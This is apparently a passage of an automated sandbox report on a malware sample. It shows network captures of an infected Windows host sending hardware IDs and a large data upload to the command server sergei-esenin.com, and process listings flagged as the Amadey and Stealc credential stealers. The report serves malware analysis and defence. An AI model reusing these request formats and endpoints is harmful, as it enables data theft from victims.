2024-10-23 15:52:48 UTC	1256	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4296112B956885A1B153E678F6E4E86B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 15:52:48 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mtc9c8h8814vktugli34ojlkgb; expires=Sun, 16 Feb 2025 09:39:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kwcoaq18HqWDST85Eq%2FnYBy2%2BBlHzG1sw8wNxXFrOmPKgKjMQ35H%2BdcjIwPhvXDWMCez75S7GjKmwc%2BOBkW0UbdkWrpj7tEOpqEIyaj4AcM2pUkauQtj8aGEqj2st9urwHuHnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e5758aa346e9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1761&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2263&delivery_rate=1638936&cwnd=248&unsent_bytes=0&cid=bc624ce3f38d7a15&ts=543&x=0"
2024-10-23 15:52:48 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 15:52:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	50080	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:52:51 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=UVDgeXc5JG2vhcV7V67wq1KVPVLkEyGm2R2_HhgVstU-1729698756-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551605 Host: sergei-esenin.com
2024-10-23 15:52:51 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4296112B956885A1B153E678F6E4E86B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 15:52:51 UTC	15331	OUT	Data Raw: 73 0e 0e cf 3e ea 5d 50 1f 04 be e9 96 59 99 c9 bc df d9 73 33 54 85 a8 44 56 1c 89 10 98 f6 2f d1 f1 68 22 21 7e 30 a3 b0 3f 48 6a 87 69 b6 6f b0 7d d8 fd a5 a6 e8 25 53 49 44 8a 90 82 31 4e fa ed e1 31 e5 5f 61 01 d1 99 cf 13 67 26 1a 5c d0 2d 15 36 47 53 77 06 6e 8c 5d 31 d2 5a bf 6e 6e da 86 12 77 1e 34 a7 e1 ae 1a 3b a8 2a 33 bf b9 14 34 49 4b ce 6a 90 e6 7b 9a c4 54 a4 78 99 46 16 1f 64 56 39 95 cb e8 b9 a4 ad 4e 7a e8 5f b2 65 4d 4d 16 98 b0 35 42 19 7f 85 c8 db e8 e6 c7 10 5c 0f d5 28 e0 8f b4 c2 a5 5e bf b2 e3 5b 2f 5e ad f6 df 58 05 19 07 e8 a1 e3 a8 bb 7a 0c 51 31 74 8c a4 0e 43 8b 25 5b d6 09 71 46 74 1d 85 6a 54 18 f6 79 ec ce f8 a3 f4 18 88 51 ca e3 35 5c 06 dd 4a 7b 14 40 b6 f6 f2 91 df 00 e3 d8 6b 3c 53 90 30 27 f3 da 7e e2 af fe 3a ff 51 Data Ascii: s>]PYs3TDV/h"!~0?Hjio}%SID1N1_ag&\-6GSwn]1Znnw4;*34IKj{TxFdV9Nz_eMM5B\(^[/^XzQ1tC%[qFtjTyQ5\J{@k<S0'~:Q
2024-10-23 15:52:51 UTC	15331	OUT	Data Raw: af a7 f3 e4 bb a0 b1 6e 11 41 ae 89 b1 fb d8 62 6e 99 ca 54 0d ce 43 d8 ca b4 79 8a 25 a7 7f 53 8f 38 ae 34 51 97 c2 7d ee 6c 07 3d 4a 5f 12 f8 90 5c 85 1d da ed d1 89 9a 7c cb 59 35 80 d1 59 47 67 6e 59 90 6a d0 72 3d 4f 1e da 4e 81 d6 8b cd 02 82 55 e6 59 19 da 3f 14 53 0c b6 f1 e2 eb dc 2d e5 e1 36 e6 e5 af b8 64 13 c9 b5 71 97 82 86 20 54 93 a6 75 1b f1 8a e0 41 a7 53 e5 41 f1 8b 47 15 cc 2d 39 b2 3e 59 bf e9 23 00 77 6a 7b b3 d6 fe 33 ba d4 fd b6 5b d8 88 68 cf 5c c9 db 03 75 1b 83 3e 3d 14 6e 3f e5 e4 52 6d a4 1b 4c 15 00 a5 0d df dd 7b 96 5c 83 4f 47 7c 7a 9f f9 d8 9d 3b 6b df 53 d1 65 6a c4 fd d0 af 65 f3 fa 2d 6b 63 8d f2 66 f6 7d 65 40 f3 8d e8 55 ed de 6f 27 34 d0 14 3f 40 8b a5 a7 89 d4 43 10 69 fa c6 f5 68 bd e8 ad 95 0e 5d d6 14 c4 c0 8a 0c Data Ascii: nAbnTCy%S84Q}l=J_\\|Y5YGgnYjr=ONUY?S-6dq TuASAG-9>Y#wj{3[h\u>=n?RmL{\OG\|z;kSeje-kcf}e@Uo'4?@Cih]
2024-10-23 15:52:51 UTC	15331	OUT	Data Raw: d4 b9 34 25 31 47 5f 14 08 24 09 d5 8e b9 b6 5f 51 b0 aa fc b1 d9 dc fe ba 28 f6 27 ec 14 c8 3b da ef 1a 9e aa 9d f8 68 8a 7b 74 ad ae 68 08 ce 92 66 32 b3 fb ab ad 7e a3 a6 3f a9 7d 72 28 56 a9 be 87 66 dc 63 e3 60 01 28 89 17 ce 87 52 64 a2 31 82 d4 24 6f 91 4c 88 15 b7 56 b8 a7 db 48 1c 26 b7 ec 71 20 dd b8 22 fe 4b 31 f0 19 1b b7 9c 79 28 3d b8 32 ce fd cb 7a c5 48 8c 60 f7 6f b8 00 41 38 d8 28 89 da 6d 9f 36 43 77 fd 53 21 bc 52 76 71 2e 3f a4 b8 12 97 99 34 e7 f3 a9 57 12 a4 45 fe af 35 ea ff 5d 0e 55 d8 0e a6 b1 a8 13 fe a0 fb 8a d5 2e 90 a3 85 71 99 e4 03 0d ab 01 57 15 ae 31 65 d4 b1 9f 3b 9a d6 8e 1d 04 87 f9 e3 a5 22 dc 20 cb c5 57 71 21 28 f8 a4 3f 08 ed 3f 1c ed 72 cd 94 41 c1 67 59 0d 0d ce 2f 24 61 41 aa c2 0f 63 ee d1 46 27 59 ce d1 c4 ab Data Ascii: 4%1G_$_Q(';h{thf2~?}r(Vfc`(Rd1$oLVH&q "K1y(=2zH`oA8(m6CwS!Rvq.?4WE5]U.qW1e;" Wq!(??rAgY/$aAcF'Y
2024-10-23 15:52:51 UTC	15331	OUT	Data Raw: cf 6e fa 0a f0 bb a6 af d8 1d f4 19 7d 69 27 af 38 a2 02 72 e9 bf 86 72 f8 74 7f 67 39 1d d5 9e b4 a7 78 de 8f 83 ff 31 56 05 f5 92 f3 22 75 61 4f e3 b4 d4 6b 4b b3 5d da 24 e3 9f 33 93 bc 5b 11 80 4f 13 b1 d5 45 0f 11 8b 18 6d 52 77 4a 65 23 27 fa 8c d5 81 73 91 6d 3a 5d 7b f5 68 a9 ab 22 dd 61 17 eb 7b 95 f5 3f 32 c9 f9 e1 1c b4 30 0a b5 91 40 0f bd 5f 81 90 69 01 d4 b4 e8 22 c4 32 b1 7b 43 9f 0e ff 70 62 be d1 08 1b ee d2 a0 6c e9 9a 69 9f 34 34 c8 e2 77 ef 2f bf bd f1 52 94 26 c2 6f 03 ec 30 3c 5d f9 b6 3a e3 29 99 22 90 5c 27 1b 69 54 87 24 81 c4 31 d4 b9 ad 8b 63 d5 e8 f9 f8 52 8d 74 f8 8e f0 d2 63 61 35 b9 64 0b db 8c 04 9c b8 d8 de f9 c2 1d db b4 05 14 6e 71 27 d7 9f ca 46 1e 11 36 ae fa b6 d2 a8 15 b0 9a d9 c2 26 84 35 6a 63 c4 c1 eb de 7d 23 59 Data Ascii: n}i'8rrtg9x1V"uaOkK]$3[OEmRwJe#'sm:]{h"a{?20@_i"2{Cpbli44w/R&o0<]:)"\'iT$1cRtca5dnq'F6&5jc}#Y
2024-10-23 15:52:51 UTC	15331	OUT	Data Raw: 58 45 90 f2 bc d7 62 b6 55 0a a0 7f ce 1e 5d 23 39 93 ab 63 ba af 35 2d 64 93 5b 4d 29 06 e8 e4 e3 8c 80 16 72 16 e9 e0 9a 99 c8 0d 80 1f 23 c1 59 ee 98 f0 d6 f4 6b c2 34 f5 c0 16 27 d1 ad 29 30 9b 93 42 e8 18 df 3b d0 92 86 21 29 0c 58 f7 d1 1f 4b 7f ba 35 37 c8 cd 6f 2f b1 30 96 36 43 74 41 5a 39 38 2f 3f 2f 8e 20 1b 6e 76 cd af 31 80 d0 eb 1b 5b c8 26 d8 e7 32 c4 c0 02 38 2e e9 a2 5c f8 d0 b2 0d ab b1 61 90 c8 b1 59 cb 44 31 be f6 ae 1d 21 39 72 6e f1 5a bc 32 7a 66 11 0d c7 3c d4 85 c0 be 54 a0 89 e6 4d 57 52 df f8 85 93 69 e4 73 51 a7 3d 64 32 8a 39 05 e2 69 11 65 b3 0c d3 dd a5 2a af 35 ba 7f 5e 47 a3 c0 c0 e2 6a d3 11 98 1d 03 6f ea 63 f8 c1 6d 32 ed dd 7f 9b 6c 37 01 93 a6 06 2c e3 1c f3 27 fd f9 98 17 21 c6 5f 54 5d 0c b0 e3 c3 6a 11 bd 2d 41 41 Data Ascii: XEbU]#9c5-d[M)r#Yk4')0B;!)XK57o/06CtAZ98/?/ nv1[&28.\aYD1!9rnZ2zf<TMWRisQ=d29ie*5^Gjocm2l7,'!_T]j-AA
2024-10-23 15:52:51 UTC	15331	OUT	Data Raw: 7e d6 1a ae 2a cb f0 e7 fe 9c 53 77 86 93 0e 0b ea 60 bc 3a 01 e0 9b f3 cf fd d9 7f bb 36 41 6d eb f0 14 2a 75 d7 f7 a1 3f 43 e5 c5 4b 01 15 31 58 42 d9 8f 86 51 51 53 3d a7 1d 32 24 63 a8 69 a0 f5 71 dc 28 44 36 23 4f 83 fc 46 d6 03 aa 6d e7 1b 4b dc 96 38 e2 fa ce 14 0d 26 2a 2a f4 b5 6c ab 3e 1a b9 90 68 4b b0 d5 3a 33 50 6b ad e5 12 b1 43 b4 f4 24 33 09 a9 ed ab e9 ff db 0e 0e 4f 11 f2 18 ca f0 46 bf 96 a5 07 f4 45 09 2e e8 d8 0d 3d f6 9c 77 d3 aa e0 be f3 fc 04 f8 3c 79 c5 04 8a f6 94 e7 e4 b9 ed be 80 db 91 56 4f 00 5a 98 10 be d7 44 fc b8 9b 2d c2 48 ba 94 f8 c0 a4 17 73 dc c7 78 67 ea ae c9 d3 e4 14 1f f9 d7 be 3c 47 60 86 cd d1 24 f5 aa e7 53 b5 ef 8a 16 ae 12 6c 47 1a 34 6f a5 9a d5 24 6d 26 fe 7d c1 8c ac 81 28 9a 6f 55 ca b1 73 03 e6 75 c6 08 Data Ascii: ~Sw`:6Amu?CK1XBQQS=2$ciq(D6#OFmK8&**l>hK:3PkC$3OFE.=w<yVOZD-Hsxg<G`$SlG4o$m&}(oUsu
2024-10-23 15:52:51 UTC	15331	OUT	Data Raw: 44 7e e0 1b be 6b f0 c4 3a 82 f2 8d 27 36 c9 07 e5 8b 81 e1 3e e8 0d 82 56 6d 01 ef d9 21 95 8e 25 78 05 36 23 98 7f 3a 8f 3f aa cc d1 53 11 3d 77 bc 44 cb e4 fc a9 7a 32 59 08 d1 5b 5b 7b 14 38 42 dc fc f3 fa 20 eb a4 32 73 7b b7 a7 94 cc 5c 1b 94 e2 25 a2 f9 6f d8 6a 78 72 9a 9f ab 66 9f 6c 91 c5 47 04 f9 11 1a 96 44 88 49 e7 1e d3 6e 97 f4 7a 14 f6 5b c1 81 17 2d 10 98 d1 35 79 c7 c4 3f 43 96 f3 92 44 ab e2 d1 8a 43 39 73 f4 3b 13 0d 82 6c d4 d0 13 b6 1e b2 db bf b2 45 67 5b e8 cf 7a dd 9c 39 46 82 e7 b8 a9 d3 6a 91 61 5d 58 fb 71 12 c2 44 43 a0 e8 3b 65 a6 93 b0 a9 91 99 11 c9 70 e3 35 7f 16 64 f8 bc e0 0e c6 85 30 f5 99 06 0d 34 41 e8 97 dc 4e e6 25 0b c7 4b cc 5a 68 ed 7b ef 31 96 b6 e1 78 07 90 92 11 7c 2d 94 b4 84 9c 95 ab 5d d3 68 12 55 97 a3 89 Data Ascii: D~k:'6>Vm!%x6#:?S=wDz2Y[[{8B 2s{\%ojxrflGDInz[-5y?CDC9s;lEg[z9Fja]XqDC;ep5d04AN%KZh{1x\|-]hU
2024-10-23 15:52:51 UTC	15331	OUT	Data Raw: 52 03 d5 03 ff c5 42 09 14 dc 11 28 c1 0a 71 3d eb 43 3d 82 28 a1 71 0a 87 fd 3d c3 58 7f 73 25 9f 16 a2 75 a6 ce 3b 60 a7 5e 45 a3 f7 43 ba c7 e2 13 85 32 66 77 98 4d 26 2c 6a 74 45 a7 01 62 fa ac 66 05 54 10 4b c7 30 a2 90 7e 8a a3 c6 12 05 10 36 ad 7a 57 bc 17 98 be da cb 5c 7a 7e cc 0d 49 7c e6 a1 f7 f0 af 22 28 81 99 04 a2 c6 04 1c 35 04 5e f2 60 37 d3 1e a4 44 52 61 ce bf b7 8d be bb 89 94 0d 0a 9f 85 16 ba 00 ec 88 32 48 72 74 08 14 b9 86 05 d0 7a 97 98 9e 89 c2 82 7b 72 cc ce 85 70 8d 87 e6 55 a1 48 ac e2 7a d7 a6 69 74 24 2a 2a 3a 6a ac 63 1e b6 32 76 cf c2 a2 83 3c 45 32 5a 85 cf 99 62 5b cc 0e 1c 4e bd 2a 28 0e 1e 9d 64 18 6b 08 5c 42 03 39 a5 ed 07 a2 a7 13 19 89 c7 49 6d 88 06 f7 3b 58 c1 be 17 1c 51 90 58 04 5a be 30 d6 4e 83 6a 9c 84 74 59 Data Ascii: RB(q=C=(q=Xs%u;`^EC2fwM&,jtEbfTK0~6zW\z~I\|"(5^`7DRa2Hrtz{rpUHzit$*:jc2v<E2Zb[N(dk\B9Im;XQXZ0NjtY
2024-10-23 15:52:51 UTC	15331	OUT	Data Raw: 2c 3b 61 38 68 6e 90 b7 2b 8e ba 07 8d 88 98 27 54 1e e3 2d 34 cd a5 8e e5 07 0e f3 96 30 83 a2 13 84 99 bd a1 4d 2f e6 fe 04 1b 8d 73 7f 29 25 56 ee a9 e2 7e 1c 1e 5b db 81 46 6d d4 52 e8 c3 e1 14 ee ec dc 38 dd 2d b5 89 36 cf a6 07 58 32 87 94 51 dc 46 73 46 02 e5 77 ed b0 c7 c4 82 df 58 e8 e6 77 ce e0 7a 90 4a 90 9f 49 59 6e 80 e8 ec 94 08 fd cf 7b 7d 00 4a 0f a5 3c dc fc e2 66 bf 45 b0 b8 4d 4e e1 e9 71 d0 f7 f6 c2 ba 5f f7 ff 1d f6 3a 00 65 04 2d ec 02 1f 70 e4 50 04 55 e2 2a b6 4d 0b 6c 65 ab 6d 14 1d 69 13 db 0a 84 a6 0a 63 ca 42 f8 7c 14 9d 3e e8 5c 24 bf c3 50 5a fe 3c a6 91 f9 9e 5b 6c 2d 43 26 5f 09 32 b7 de e4 fe bb 65 77 58 db 92 32 9f 89 07 0c f8 50 ba bf de 8d 14 98 e8 bb 4b ff 09 7a 2c c8 76 a0 16 ee 78 0a 48 d9 70 f7 0e cf 9a 93 12 10 75 Data Ascii: ,;a8hn+'T-40M/s)%V~[FmR8-6X2QFsFwXwzJIYn{}J<fEMNq_:e-pPU*MlemicB\|>\$PZ<[l-C&_2ewX2PKz,vxHpu
2024-10-23 15:52:53 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e5jspvj8kan9j9qjclbmr98bbj; expires=Sun, 16 Feb 2025 09:39:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mS97DQO8Xt1Fma9VyyP%2FMxJHndOwPMdm3RJAMH2E1TRWWNG2WS9xwt1CLkfG4sJRaW5Q0YCcdgSxdfJPCWa5d3qDahhZQ7s4zJjFlTIS3XkgZLli%2FWwtFtDV112%2Bw6ZuNqMw9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e58b7b442ca6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1372&sent=205&recv=587&lost=0&retrans=0&sent_bytes=2845&recv_bytes=554176&delivery_rate=2062678&cwnd=251&unsent_bytes=0&cid=a6db7f4991b475c3&ts=1866&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	50083	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:52:54 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=UVDgeXc5JG2vhcV7V67wq1KVPVLkEyGm2R2_HhgVstU-1729698756-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-23 15:52:54 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=4296112B956885A1B153E678F6E4E86B
2024-10-23 15:52:54 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9a2gj7hi6j0r23m4o18grer265; expires=Sun, 16 Feb 2025 09:39:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YxBOMuTcTcDM5ji6iHozNLB%2FYBCroMFGtPIi8LdmunlBnzE1lA7ovWaNxIY%2Fr1lks5TQ%2Fwg7J3Kt7KD8Se6777rzAGRN3%2BKTkbQvQjMVr9PRbL5vFr8KZIp1T5vm83xmH79TbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e59caf942e75-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2053&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1077&delivery_rate=1402421&cwnd=245&unsent_bytes=0&cid=aed887b8e5059baa&ts=336&x=0"
2024-10-23 15:52:54 UTC	299	IN	Data Raw: 31 32 34 0d 0a 62 39 67 71 64 44 67 58 71 73 74 57 75 33 45 52 76 6a 71 2b 54 37 4c 47 57 7a 77 61 64 30 2b 78 64 54 6b 46 67 62 78 42 79 78 4d 30 6f 77 67 42 47 69 32 49 6f 79 4c 50 41 53 76 69 46 65 4a 67 67 2f 35 75 45 69 68 47 65 70 39 45 43 44 61 76 6a 58 65 58 50 41 4b 78 52 42 46 6b 4f 4e 69 71 4f 4e 38 65 66 4a 42 66 78 69 71 51 36 6e 6c 61 62 6c 56 31 67 56 6b 62 59 4b 4f 47 63 62 59 2f 46 50 70 66 56 67 49 31 77 72 38 69 79 30 74 4e 6b 57 61 52 66 6f 72 7a 64 51 34 72 51 6d 47 41 52 41 6f 72 73 49 6f 64 35 47 41 62 76 55 73 5a 5a 44 6a 59 71 6a 6a 66 48 6e 79 51 58 38 59 71 6b 4f 70 35 57 6d 35 56 64 59 46 5a 47 32 43 6a 68 6e 47 32 50 78 54 36 58 31 59 43 4e 63 4b 2f 49 73 74 4c 54 5a 46 6d 6b 58 36 4b 38 33 55 4f 4b 30 4a 68 67 45 51 4b 4b 37 Data Ascii: 124b9gqdDgXqstWu3ERvjq+T7LGWzwad0+xdTkFgbxByxM0owgBGi2IoyLPASviFeJgg/5uEihGep9ECDavjXeXPAKxRBFkONiqON8efJBfxiqQ6nlablV1gVkbYKOGcbY/FPpfVgI1wr8iy0tNkWaRforzdQ4rQmGARAorsIod5GAbvUsZZDjYqjjfHnyQX8YqkOp5Wm5VdYFZG2CjhnG2PxT6X1YCNcK/IstLTZFmkX6K83UOK0JhgEQKK7
2024-10-23 15:52:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:51:02
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x970000
File size:	2'891'264 bytes
MD5 hash:	4AA75791152671DB0DD310096A19F866
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:51:24
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe"
Imagebase:	0x130000
File size:	1'925'632 bytes
MD5 hash:	61E940C7CECC109FEE9B6BD3A4F394D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2405168381.0000000000131000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2364843003.00000000047F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:51:27
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe"
Imagebase:	0x4d0000
File size:	1'833'984 bytes
MD5 hash:	DD0CAAED8398954963C8A3FFB1196E18
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2493072660.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.2404591407.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2492114993.00000000004D1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:51:28
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x130000
File size:	1'925'632 bytes
MD5 hash:	61E940C7CECC109FEE9B6BD3A4F394D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2411955466.0000000004930000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:51:29
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe"
Imagebase:	0xa30000
File size:	2'817'536 bytes
MD5 hash:	25508D957B0CB88DF7C7C425A19C35F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:51:41
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe"
Imagebase:	0xe30000
File size:	2'891'264 bytes
MD5 hash:	4AA75791152671DB0DD310096A19F866
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:51:46
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe"
Imagebase:	0xa20000
File size:	1'833'984 bytes
MD5 hash:	DD0CAAED8398954963C8A3FFB1196E18
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
